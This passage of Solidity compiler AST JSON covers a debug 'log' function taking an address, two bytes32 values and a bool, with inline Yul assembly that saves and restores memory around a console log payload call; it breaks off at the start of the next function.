,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38688,"nodeType":"VariableDeclarationStatement","src":"151828:10:22"},{"assignments":[38690],"declarations":[{"constant":false,"id":38690,"mutability":"mutable","name":"m4","nameLocation":"151856:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151848:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38689,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151848:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38691,"nodeType":"VariableDeclarationStatement","src":"151848:10:22"},{"assignments":[38693],"declarations":[{"constant":false,"id":38693,"mutability":"mutable","name":"m5","nameLocation":"151876:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151868:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38692,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151868:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38694,"nodeType":"VariableDeclarationStatement","src":"151868:10:22"},{"assignments":[38696],"declarations":[{"constant":false,"id":38696,"mutability":"mutable","name":"m6","nameLocation":"151896:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151888:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38695,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151888:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38697,"nodeType":"VariableDeclarationStatement","src":"151888:10:22"},{"assignments":[38699],"declarations":[{"constant":false,"id":38699,"mutability":"mutable","name":"m7","nameLocation":"151916:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151908:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38698,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151908:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38700,"nodeType":"VariableDeclarationStatement","src":"151908:10:22"},{"assignments":[38702],"declarations":[{"constant":false,"id":38702,"mutability":"mutable","name":"m8","nameLocation":"151936:2:22","nodeType":"VariableDeclaration","scope":38711,"src":"151928:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38701,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151928:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38703,"nodeType":"VariableDeclarationStatement","src":"151928:10:22"},{"AST":{"nativeSrc":"151957:924:22","nodeType":"YulBlock","src":"151957:924:22","statements":[{"body":{"nativeSrc":"152000:313:22","nodeType":"YulBlock","src":"152000:313:22","statements":[{"nativeSrc":"152018:15:22","nodeType":"YulVariableDeclaration","src":"152018:15:22","value":{"kind":"number","nativeSrc":"152032:1:22","nodeType":"YulLiteral","src":"152032:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"152022:6:22","nodeType":"YulTypedName","src":"152022:6:22","type":""}]},{"body":{"nativeSrc":"152103:40:22","nodeType":"YulBlock","src":"152103:40:22","statements":[{"body":{"nativeSrc":"152132:9:22","nodeType":"YulBlock","src":"152132:9:22","statements":[{"nativeSrc":"152134:5:22","nodeType":"YulBreak","src":"152134:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"152120:6:22","nodeType":"YulIdentifier","src":"152120:6:22"},{"name":"w","nativeSrc":"152128:1:22","nodeType":"YulIdentifier","src":"152128:1:22"}],"functionName":{"name":"byte","nativeSrc":"152115:4:22","nodeType":"YulIdentifier","src":"152115:4:22"},"nativeSrc":"152115:15:22","nodeType":"YulFunctionCall","src":"152115:15:22"}],"functionName":{"name":"iszero","nativeSrc":"152108:6:22","nodeType":"YulIdentifier","src":"152108:6:22"},"nativeSrc":"152108:23:22","nodeType":"YulFunctionCall","src":"152108:23:22"},"nativeSrc":"152105:36:22","nodeType":"YulIf","src":"152105:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"152060:6:22","nodeType":"YulIdentifier","src":"152060:6:22"},{"kind":"number","nativeSrc":"152068:4:22","nodeType":"YulLiteral","src":"152068:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"152057:2:22","nodeType":"YulIdentifier","src":"152057:2:22"},"nativeSrc":"152057:16:22","nodeType":"YulFunctionCall","src":"152057:16:22"},"nativeSrc":"152050:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"152074:28:22","nodeType":"YulBlock","src":"152074:28:22","statements":[{"nativeSrc":"152076:24:22","nodeType":"YulAssignment","src":"152076:24:22","value":{"arguments":[{"name":"length","nativeSrc":"152090:6:22","nodeType":"YulIdentifier","src":"152090:6:22"},{"kind":"number","nativeSrc":"152098:1:22","nodeType":"YulLiteral","src":"152098:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"152086:3:22","nodeType":"YulIdentifier","src":"152086:3:22"},"nativeSrc":"152086:14:22","nodeType":"YulFunctionCall","src":"152086:14:22"},"variableNames":[{"name":"length","nativeSrc":"152076:6:22","nodeType":"YulIdentifier","src":"152076:6:22"}]}]},"pre":{"nativeSrc":"152054:2:22","nodeType":"YulBlock","src":"152054:2:22","statements":[]},"src":"152050:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"152167:3:22","nodeType":"YulIdentifier","src":"152167:3:22"},{"name":"length","nativeSrc":"152172:6:22","nodeType":"YulIdentifier","src":"152172:6:22"}],"functionName":{"name":"mstore","nativeSrc":"152160:6:22","nodeType":"YulIdentifier","src":"152160:6:22"},"nativeSrc":"152160:19:22","nodeType":"YulFunctionCall","src":"152160:19:22"},"nativeSrc":"152160:19:22","nodeType":"YulExpressionStatement","src":"152160:19:22"},{"nativeSrc":"152196:37:22","nodeType":"YulVariableDeclaration","src":"152196:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"152213:3:22","nodeType":"YulLiteral","src":"152213:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"152222:1:22","nodeType":"YulLiteral","src":"152222:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"152225:6:22","nodeType":"YulIdentifier","src":"152225:6:22"}],"functionName":{"name":"shl","nativeSrc":"152218:3:22","nodeType":"YulIdentifier","src":"152218:3:22"},"nativeSrc":"152218:14:22","nodeType":"YulFunctionCall","src":"152218:14:22"}],"functionName":{"name":"sub","nativeSrc":"152209:3:22","nodeType":"YulIdentifier","src":"152209:3:22"},"nativeSrc":"152209:24:22","nodeType":"YulFunctionCall","src":"152209:24:22"},"variables":[{"name":"shift","nativeSrc":"152200:5:22","nodeType":"YulTypedName","src":"152200:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"152261:3:22","nodeType":"YulIdentifier","src":"152261:3:22"},{"kind":"number","nativeSrc":"152266:4:22","nodeType":"YulLiteral","src":"152266:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"152257:3:22","nodeType":"YulIdentifier","src":"152257:3:22"},"nativeSrc":"152257:14:22","nodeType":"YulFunctionCall","src":"152257:14:22"},{"arguments":[{"name":"shift","nativeSrc":"152277:5:22","nodeType":"YulIdentifier","src":"152277:5:22"},{"arguments":[{"name":"shift","nativeSrc":"152288:5:22","nodeType":"YulIdentifier","src":"152288:5:22"},{"name":"w","nativeSrc":"152295:1:22","nodeType":"YulIdentifier","src":"152295:1:22"}],"functionName":{"name":"shr","nativeSrc":"152284:3:22","nodeType":"YulIdentifier","src":"152284:3:22"},"nativeSrc":"152284:13:22","nodeType":"YulFunctionCall","src":"152284:13:22"}],"functionName":{"name":"shl","nativeSrc":"152273:3:22","nodeType":"YulIdentifier","src":"152273:3:22"},"nativeSrc":"152273:25:22","nodeType":"YulFunctionCall","src":"152273:25:22"}],"functionName":{"name":"mstore","nativeSrc":"152250:6:22","nodeType":"YulIdentifier","src":"152250:6:22"},"nativeSrc":"152250:49:22","nodeType":"YulFunctionCall","src":"152250:49:22"},"nativeSrc":"152250:49:22","nodeType":"YulExpressionStatement","src":"152250:49:22"}]},"name":"writeString","nativeSrc":"151971:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"151992:3:22","nodeType":"YulTypedName","src":"151992:3:22","type":""},{"name":"w","nativeSrc":"151997:1:22","nodeType":"YulTypedName","src":"151997:1:22","type":""}],"src":"151971:342:22"},{"nativeSrc":"152326:17:22","nodeType":"YulAssignment","src":"152326:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"152338:4:22","nodeType":"YulLiteral","src":"152338:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"152332:5:22","nodeType":"YulIdentifier","src":"152332:5:22"},"nativeSrc":"152332:11:22","nodeType":"YulFunctionCall","src":"152332:11:22"},"variableNames":[{"name":"m0","nativeSrc":"152326:2:22","nodeType":"YulIdentifier","src":"152326:2:22"}]},{"nativeSrc":"152356:17:22","nodeType":"YulAssignment","src":"152356:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"152368:4:22","nodeType":"YulLiteral","src":"152368:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"152362:5:22","nodeType":"YulIdentifier","src":"152362:5:22"},"nativeSrc":"152362:11:22","nodeType":"YulFunctionCall","src":"152362:11:22"},"variableNames":[{"name":"m1","nativeSrc":"152356:2:22","nodeType":"YulIdentifier","src":"152356:2:22"}]},{"nativeSrc":"152386:17:22","nodeType":"YulAssignment","src":"152386:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"152398:4:22","nodeType":"YulLiteral","src":"152398:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"152392:5:22","nodeType":"YulIdentifier","src":"152392:5:22"},"nativeSrc":"152392:11:22","nodeType":"YulFunctionCall","src":"152392:11:22"},"variableNames":[{"name":"m2","nativeSrc":"152386:2:22","nodeType":"YulIdentifier","src":"152386:2:22"}]},{"nativeSrc":"152416:17:22","nodeType":"YulAssignment","src":"152416:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"152428:4:22","nodeType":"YulLiteral","src":"152428:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"152422:5:22","nodeType":"YulIdentifier","src":"152422:5:22"},"nativeSrc":"152422:11:22","nodeType":"YulFunctionCall","src":"152422:11:22"},"variableNames":[{"name":"m3","nativeSrc":"152416:2:22","nodeType":"YulIdentifier","src":"152416:2:22"}]},{"nativeSrc":"152446:17:22","nodeType":"YulAssignment","src":"152446:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"152458:4:22","nodeType":"YulLiteral","src":"152458:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"152452:5:22","nodeType":"YulIdentifier","src":"152452:5:22"},"nativeSrc":"152452:11:22","nodeType":"YulFunctionCall","src":"152452:11:22"},"variableNames":[{"name":"m4","nativeSrc":"152446:2:22","nodeType":"YulIdentifier","src":"152446:2:22"}]},{"nativeSrc":"152476:17:22","nodeType":"YulAssignment","src":"152476:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"152488:4:22","nodeType":"YulLiteral","src":"152488:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"152482:5:22","nodeType":"YulIdentifier","src":"152482:5:22"},"nativeSrc":"152482:11:22","nodeType":"YulFunctionCall","src":"152482:11:22"},"variableNames":[{"name":"m5","nativeSrc":"152476:2:22","nodeType":"YulIdentifier","src":"152476:2:22"}]},{"nativeSrc":"152506:17:22","nodeType":"YulAssignment","src":"152506:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"152518:4:22","nodeType":"YulLiteral","src":"152518:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"152512:5:22","nodeType":"YulIdentifier","src":"152512:5:22"},"nativeSrc":"152512:11:22","nodeType":"YulFunctionCall","src":"152512:11:22"},"variableNames":[{"name":"m6","nativeSrc":"152506:2:22","nodeType":"YulIdentifier","src":"152506:2:22"}]},{"nativeSrc":"152536:17:22","nodeType":"YulAssignment","src":"152536:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"152548:4:22","nodeType":"YulLiteral","src":"152548:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"152542:5:22","nodeType":"YulIdentifier","src":"152542:5:22"},"nativeSrc":"152542:11:22","nodeType":"YulFunctionCall","src":"152542:11:22"},"variableNames":[{"name":"m7","nativeSrc":"152536:2:22","nodeType":"YulIdentifier","src":"152536:2:22"}]},{"nativeSrc":"152566:18:22","nodeType":"YulAssignment","src":"152566:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"152578:5:22","nodeType":"YulLiteral","src":"152578:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"152572:5:22","nodeType":"YulIdentifier","src":"152572:5:22"},"nativeSrc":"152572:12:22","nodeType":"YulFunctionCall","src":"152572:12:22"},"variableNames":[{"name":"m8","nativeSrc":"152566:2:22","nodeType":"YulIdentifier","src":"152566:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"152666:4:22","nodeType":"YulLiteral","src":"152666:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"152672:10:22","nodeType":"YulLiteral","src":"152672:10:22","type":"","value":"0x35a5071f"}],"functionName":{"name":"mstore","nativeSrc":"152659:6:22","nodeType":"YulIdentifier","src":"152659:6:22"},"nativeSrc":"152659:24:22","nodeType":"YulFunctionCall","src":"152659:24:22"},"nativeSrc":"152659:24:22","nodeType":"YulExpressionStatement","src":"152659:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"152703:4:22","nodeType":"YulLiteral","src":"152703:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"152709:2:22","nodeType":"YulIdentifier","src":"152709:2:22"}],"functionName":{"name":"mstore","nativeSrc":"152696:6:22","nodeType":"YulIdentifier","src":"152696:6:22"},"nativeSrc":"152696:16:22","nodeType":"YulFunctionCall","src":"152696:16:22"},"nativeSrc":"152696:16:22","nodeType":"YulExpressionStatement","src":"152696:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"152732:4:22","nodeType":"YulLiteral","src":"152732:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"152738:4:22","nodeType":"YulLiteral","src":"152738:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"152725:6:22","nodeType":"YulIdentifier","src":"152725:6:22"},"nativeSrc":"152725:18:22","nodeType":"YulFunctionCall","src":"152725:18:22"},"nativeSrc":"152725:18:22","nodeType":"YulExpressionStatement","src":"152725:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"152763:4:22","nodeType":"YulLiteral","src":"152763:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"152769:4:22","nodeType":"YulLiteral","src":"152769:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"152756:6:22","nodeType":"YulIdentifier","src":"152756:6:22"},"nativeSrc":"152756:18:22","nodeType":"YulFunctionCall","src":"152756:18:22"},"nativeSrc":"152756:18:22","nodeType":"YulExpressionStatement","src":"152756:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"152794:4:22","nodeType":"YulLiteral","src":"152794:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"152800:2:22","nodeType":"YulIdentifier","src":"152800:2:22"}],"functionName":{"name":"mstore","nativeSrc":"152787:6:22","nodeType":"YulIdentifier","src":"152787:6:22"},"nativeSrc":"152787:16:22","nodeType":"YulFunctionCall","src":"152787:16:22"},"nativeSrc":"152787:16:22","nodeType":"YulExpressionStatement","src":"152787:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"152828:4:22","nodeType":"YulLiteral","src":"152828:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"152834:2:22","nodeType":"YulIdentifier","src":"152834:2:22"}],"functionName":{"name":"writeString","nativeSrc":"152816:11:22","nodeType":"YulIdentifier","src":"152816:11:22"},"nativeSrc":"152816:21:22","nodeType":"YulFunctionCall","src":"152816:21:22"},"nativeSrc":"152816:21:22","nodeType":"YulExpressionStatement","src":"152816:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"152862:4:22","nodeType":"YulLiteral","src":"152862:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"152868:2:22","nodeType":"YulIdentifier","src":"152868:2:22"}],"functionName":{"name":"writeString","nativeSrc":"152850:11:22","nodeType":"YulIdentifier","src":"152850:11:22"},"nativeSrc":"152850:21:22","nodeType":"YulFunctionCall","src":"152850:21:22"},"nativeSrc":"152850:21:22","nodeType":"YulExpressionStatement","src":"152850:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38678,"isOffset":false,"isSlot":false,"src":"152326:2:22","valueSize":1},{"declaration":38681,"isOffset":false,"isSlot":false,"src":"152356:2:22","valueSize":1},{"declaration":38684,"isOffset":false,"isSlot":false,"src":"152386:2:22","valueSize":1},{"declaration":38687,"isOffset":false,"isSlot":false,"src":"152416:2:22","valueSize":1},{"declaration":38690,"isOffset":false,"isSlot":false,"src":"152446:2:22","valueSize":1},{"declaration":38693,"isOffset":false,"isSlot":false,"src":"152476:2:22","valueSize":1},{"declaration":38696,"isOffset":false,"isSlot":false,"src":"152506:2:22","valueSize":1},{"declaration":38699,"isOffset":false,"isSlot":false,"src":"152536:2:22","valueSize":1},{"declaration":38702,"isOffset":false,"isSlot":false,"src":"152566:2:22","valueSize":1},{"declaration":38668,"isOffset":false,"isSlot":false,"src":"152709:2:22","valueSize":1},{"declaration":38670,"isOffset":false,"isSlot":false,"src":"152834:2:22","valueSize":1},{"declaration":38672,"isOffset":false,"isSlot":false,"src":"152868:2:22","valueSize":1},{"declaration":38674,"isOffset":false,"isSlot":false,"src":"152800:2:22","valueSize":1}],"id":38704,"nodeType":"InlineAssembly","src":"151948:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38706,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"152906:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":38707,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"152912:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":38705,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"152890:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38708,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"152890:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38709,"nodeType":"ExpressionStatement","src":"152890:28:22"},{"AST":{"nativeSrc":"152937:273:22","nodeType":"YulBlock","src":"152937:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"152958:4:22","nodeType":"YulLiteral","src":"152958:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"152964:2:22","nodeType":"YulIdentifier","src":"152964:2:22"}],"functionName":{"name":"mstore","nativeSrc":"152951:6:22","nodeType":"YulIdentifier","src":"152951:6:22"},"nativeSrc":"152951:16:22","nodeType":"YulFunctionCall","src":"152951:16:22"},"nativeSrc":"152951:16:22","nodeType":"YulExpressionStatement","src":"152951:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"152987:4:22","nodeType":"YulLiteral","src":"152987:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"152993:2:22","nodeType":"YulIdentifier","src":"152993:2:22"}],"functionName":{"name":"mstore","nativeSrc":"152980:6:22","nodeType":"YulIdentifier","src":"152980:6:22"},"nativeSrc":"152980:16:22","nodeType":"YulFunctionCall","src":"152980:16:22"},"nativeSrc":"152980:16:22","nodeType":"YulExpressionStatement","src":"152980:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"153016:4:22","nodeType":"YulLiteral","src":"153016:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"153022:2:22","nodeType":"YulIdentifier","src":"153022:2:22"}],"functionName":{"name":"mstore","nativeSrc":"153009:6:22","nodeType":"YulIdentifier","src":"153009:6:22"},"nativeSrc":"153009:16:22","nodeType":"YulFunctionCall","src":"153009:16:22"},"nativeSrc":"153009:16:22","nodeType":"YulExpressionStatement","src":"153009:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"153045:4:22","nodeType":"YulLiteral","src":"153045:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"153051:2:22","nodeType":"YulIdentifier","src":"153051:2:22"}],"functionName":{"name":"mstore","nativeSrc":"153038:6:22","nodeType":"YulIdentifier","src":"153038:6:22"},"nativeSrc":"153038:16:22","nodeType":"YulFunctionCall","src":"153038:16:22"},"nativeSrc":"153038:16:22","nodeType":"YulExpressionStatement","src":"153038:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"153074:4:22","nodeType":"YulLiteral","src":"153074:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"153080:2:22","nodeType":"YulIdentifier","src":"153080:2:22"}],"functionName":{"name":"mstore","nativeSrc":"153067:6:22","nodeType":"YulIdentifier","src":"153067:6:22"},"nativeSrc":"153067:16:22","nodeType":"YulFunctionCall","src":"153067:16:22"},"nativeSrc":"153067:16:22","nodeType":"YulExpressionStatement","src":"153067:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"153103:4:22","nodeType":"YulLiteral","src":"153103:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"153109:2:22","nodeType":"YulIdentifier","src":"153109:2:22"}],"functionName":{"name":"mstore","nativeSrc":"153096:6:22","nodeType":"YulIdentifier","src":"153096:6:22"},"nativeSrc":"153096:16:22","nodeType":"YulFunctionCall","src":"153096:16:22"},"nativeSrc":"153096:16:22","nodeType":"YulExpressionStatement","src":"153096:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"153132:4:22","nodeType":"YulLiteral","src":"153132:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"153138:2:22","nodeType":"YulIdentifier","src":"153138:2:22"}],"functionName":{"name":"mstore","nativeSrc":"153125:6:22","nodeType":"YulIdentifier","src":"153125:6:22"},"nativeSrc":"153125:16:22","nodeType":"YulFunctionCall","src":"153125:16:22"},"nativeSrc":"153125:16:22","nodeType":"YulExpressionStatement","src":"153125:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"153161:4:22","nodeType":"YulLiteral","src":"153161:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"153167:2:22","nodeType":"YulIdentifier","src":"153167:2:22"}],"functionName":{"name":"mstore","nativeSrc":"153154:6:22","nodeType":"YulIdentifier","src":"153154:6:22"},"nativeSrc":"153154:16:22","nodeType":"YulFunctionCall","src":"153154:16:22"},"nativeSrc":"153154:16:22","nodeType":"YulExpressionStatement","src":"153154:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"153190:5:22","nodeType":"YulLiteral","src":"153190:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"153197:2:22","nodeType":"YulIdentifier","src":"153197:2:22"}],"functionName":{"name":"mstore","nativeSrc":"153183:6:22","nodeType":"YulIdentifier","src":"153183:6:22"},"nativeSrc":"153183:17:22","nodeType":"YulFunctionCall","src":"153183:17:22"},"nativeSrc":"153183:17:22","nodeType":"YulExpressionStatement","src":"153183:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38678,"isOffset":false,"isSlot":false,"src":"152964:2:22","valueSize":1},{"declaration":38681,"isOffset":false,"isSlot":false,"src":"152993:2:22","valueSize":1},{"declaration":38684,"isOffset":false,"isSlot":false,"src":"153022:2:22","valueSize":1},{"declaration":38687,"isOffset":false,"isSlot":false,"src":"153051:2:22","valueSize":1},{"declaration":38690,"isOffset":false,"isSlot":false,"src":"153080:2:22","valueSize":1},{"declaration":38693,"isOffset":false,"isSlot":false,"src":"153109:2:22","valueSize":1},{"declaration":38696,"isOffset":false,"isSlot":false,"src":"153138:2:22","valueSize":1},{"declaration":38699,"isOffset":false,"isSlot":false,"src":"153167:2:22","valueSize":1},{"declaration":38702,"isOffset":false,"isSlot":false,"src":"153197:2:22","valueSize":1}],"id":38710,"nodeType":"InlineAssembly","src":"152928:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"151695:3:22","parameters":{"id":38675,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38668,"mutability":"mutable","name":"p0","nameLocation":"151707:2:22","nodeType":"VariableDeclaration","scope":38712,"src":"151699:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38667,"name":"address","nodeType":"ElementaryTypeName","src":"151699:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38670,"mutability":"mutable","name":"p1","nameLocation":"151719:2:22","nodeType":"VariableDeclaration","scope":38712,"src":"151711:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38669,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151711:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38672,"mutability":"mutable","name":"p2","nameLocation":"151731:2:22","nodeType":"VariableDeclaration","scope":38712,"src":"151723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38671,"name":"bytes32","nodeType":"ElementaryTypeName","src":"151723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38674,"mutability":"mutable","name":"p3","nameLocation":"151740:2:22","nodeType":"VariableDeclaration","scope":38712,"src":"151735:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":38673,"name":"bool","nodeType":"ElementaryTypeName","src":"151735:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"151698:45:22"},"returnParameters":{"id":38676,"nodeType":"ParameterList","parameters":[],"src":"151758:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38758,"nodeType":"FunctionDefinition","src":"153222:1536:22","nodes":[],"body":{"id":38757,"nodeType":"Block","src":"153297:1461:22","nodes":[],"statements":[{"assignments":[38724],"declarations":[{"constant":false,"id":38724,"mutability":"mutable","name":"m0","nameLocation":"153315:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153307:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38723,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153307:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38725,"nodeType":"VariableDeclarationStatement","src":"153307:10:22"},{"assignments":[38727],"declarations":[{"constant":false,"id":38727,"mutability":"mutable","name":"m1","nameLocation":"153335:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153327:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38726,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153327:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38728,"nodeType":"VariableDeclarationStatement","src":"153327:10:22"},{"assignments":[38730],"declarations":[{"constant":false,"id":38730,"mutability":"mutable","name":"m2","nameLocation":"153355:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153347:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38729,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153347:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38731,"nodeType":"VariableDeclarationStatement","src":"153347:10:22"},{"assignments":[38733],"declarations":[{"constant":false,"id":38733,"mutability":"mutable","name":"m3","nameLocation":"153375:2:22","nodeType":"VariableDeclaration","scope":38757,"src":"153367:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38732,"name":"bytes32","nodeType":"ElementaryTypeName","src":"153367:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38734,"nodeType":"VariableDeclarationStatement","src":"153367:10:22"},{"assignments":[38736],"declarations":[{"constant":false,"id":38736,"mutabilit